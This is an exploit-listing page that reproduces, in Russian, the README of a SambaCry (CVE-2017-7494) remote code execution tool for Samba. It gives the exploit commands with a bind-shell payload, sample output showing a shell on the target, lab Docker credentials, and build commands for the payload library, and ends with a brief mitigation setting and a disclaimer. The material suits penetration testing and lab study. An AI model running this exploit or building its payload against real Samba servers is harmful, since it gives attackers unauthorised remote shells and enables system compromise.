Sploitus

exploit

kitploit · 2026-08-25

Exploit Code

MARKDOWN142 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OPSXCQ-EXPLOIT-CVE-2017-7494
# SambaCry RCE эксплойт для Samba 4.5.9

![Docker Pulls](https://img.shields.io/docker/pulls/vulnerables/cve-2017-7494.svg?style=plastic) ![License](https://img.shields.io/badge/License-GPL-blue.svg?style=plastic)

Samba — это свободная программная реализация сетевого протокола SMB/CIFS. Samba предоставляет файловые и печатные сервисы для различных клиентов Microsoft Windows и может интегрироваться с доменом Microsoft Windows Server, либо как контроллер домена (DC), либо как член домена. Начиная с версии 4, она поддерживает домены Active Directory и Microsoft Windows NT.

Samba версии **4.5.9** и более ранних уязвима к удалённому выполнению кода, известному как **SambaCry**. CVE-2017-7494 позволяет удалённым аутентифицированным пользователям загружать общую библиотеку в доступную для записи общую папку и выполнять атаки с исполнением кода для получения контроля над серверами, на которых работают уязвимые службы Samba.

Samba 3.x после 3.5.0 и 4.x до 4.4.14, 4.5.x до 4.5.10 и 4.6.x до 4.6.4 не ограничивает путь к файлу при использовании именованных каналов Windows, что позволяет удалённым аутентифицированным пользователям загружать общую библиотеку в доступную для записи общую папку и выполнять произвольный код через специально созданный именованный канал.

### Эксплойт

![sambacry](https://assets.kitploit.com/production/public/readmes/30266/443ec7fe257021450076319d8a15122fbe56ffa3440ede22e48ea6edb6678d3f.gif)

Для корректного запуска этого эксплойта вам понадобится пропатченная версия библиотеки `impacket` для python и остальные зависимости из файла requirements. Чтобы установить всё это, выполните

root@kitploit:~
    
    
    pip install -r requirements.txt
    

Если вы используете Python3, вам нужно запускать это программное обеспечение в виртуальном окружении. Следуйте следующим шагам:

root@kitploit:~
    
    
    pip install virtualenv
    virtualenv -p /usr/bin/python2.7 venv # или там, где находится ваш python2.7
    source venv/bin/activate.sh
    

После этого вы можете запустить его следующим образом:

root@kitploit:~
    
    
    ./exploit.py -t <target> -e libbindshell-samba.so \
                 -s <share> -r <location>/libbindshell-samba.so \
                 -u <user> -p <password> -P 6699
    

Например, если вы хотите эксплуатировать уязвимое окружение, включённое в этот репозиторий, выполните

root@kitploit:~
    
    
    ./exploit.py -t localhost -e libbindshell-samba.so \
                 -s data -r /data/libbindshell-samba.so \
                 -u sambacry -p nosambanocry -P 6699
    

И вы получите следующий вывод

root@kitploit:~
    
    
    ./exploit.py -t localhost -e libbindshell-samba.so \
                 -s data -r /data/libbindshell-samba.so \
                 -u sambacry -p nosambanocry -P 6699
    [*] Starting the exploit
    [+] Authentication ok, we are in !
    [+] Preparing the exploit
    [+] Exploit trigger running in background, checking our shell
    [+] Connecting to 10.1.1.5 at 6699
    [+] Veryfying your shell...
    Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
    >>
    

Описание аргументов эксплойта:

root@kitploit:~
    
    
    usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
                      [-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
    

  * `-t` или `—target` — задаёт удалённый хост для атаки.
  * `-e` или `—executable` — задаёт путь в вашей **локальной системе** , где находится библиотека, которую вы хотите загрузить.
  * `-s` или `—remoteshare` — удалённая общая папка, куда будет скопирован файл.
  * `-r` или `—remotepath` — место, где файл находится в **удалённой системе**.
  * `-u` или `—user` — имя пользователя для входа.
  * `-p` или `—password` — пароль для входа.
  * `-P` или `—remoteshellport` — если вы используете полезную нагрузку bind shell, подключитесь к ней после выполнения атаки.



### Уязвимое окружение

Чтобы смоделировать эту атаку, вы можете использовать уязвимый docker-образ. Если у вас установлен docker, просто выполните

root@kitploit:~
    
    
    docker run --rm -it \
           -p 137-139:137-139 \
           -p 445:445 -p 6699:6699 \
           vulnerables/cve-2017-7494
    

Если вы хотите получить доступ, используйте следующие учётные данные.

  * Пользователь: `sambacry`
  * Пароль: `nosambanocry`



### Альтернативные полезные нагрузки

Пример полезной нагрузки bind shell для этого эксплойта можно найти в файле `bindshell-samba.c`. Изменяйте его по мере необходимости. После этого для создания нового бинарного файла используйте:

root@kitploit:~
    
    
    gcc -c -fpic bindshell-samba.c
    gcc -shared -o libbindshell-samba.so bindshell-samba.o
    

### Затронутое программное обеспечение

Samba 3.x после 3.5.0 и 4.x до 4.4.14, 4.5.x до 4.5.10 и 4.6.x до 4.6.4

### Меры по смягчению уязвимости

Добавьте параметр:

root@kitploit:~
    
    
    nt pipe support = no
    

в секцию `[global]` вашего smb.conf и перезапустите smbd. Это предотвратит доступ клиентов к каким-либо конечным точкам именованных каналов. Обратите внимание, что это может отключить некоторые ожидаемые функции для клиентов Windows.

Также рассмотрите возможность монтирования файловой системы, используемой samba для общей папки с правом записи, с опцией `noexec`.

### Отказ от ответственности

Эта или предыдущая программа предназначена ТОЛЬКО для образовательных целей. Не используйте её без разрешения. Действует обычный отказ от ответственности, особенно тот факт, что я (opsxcq) не несу ответственности за любой ущерб, причинённый прямым или косвенным использованием информации или функциональности, предоставляемой этими программами. Автор или любой интернет-провайдер НЕ несёт ответственности за содержание или неправомерное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т. д.), причинённый использованием этих программ, не является ответственностью opsxcq.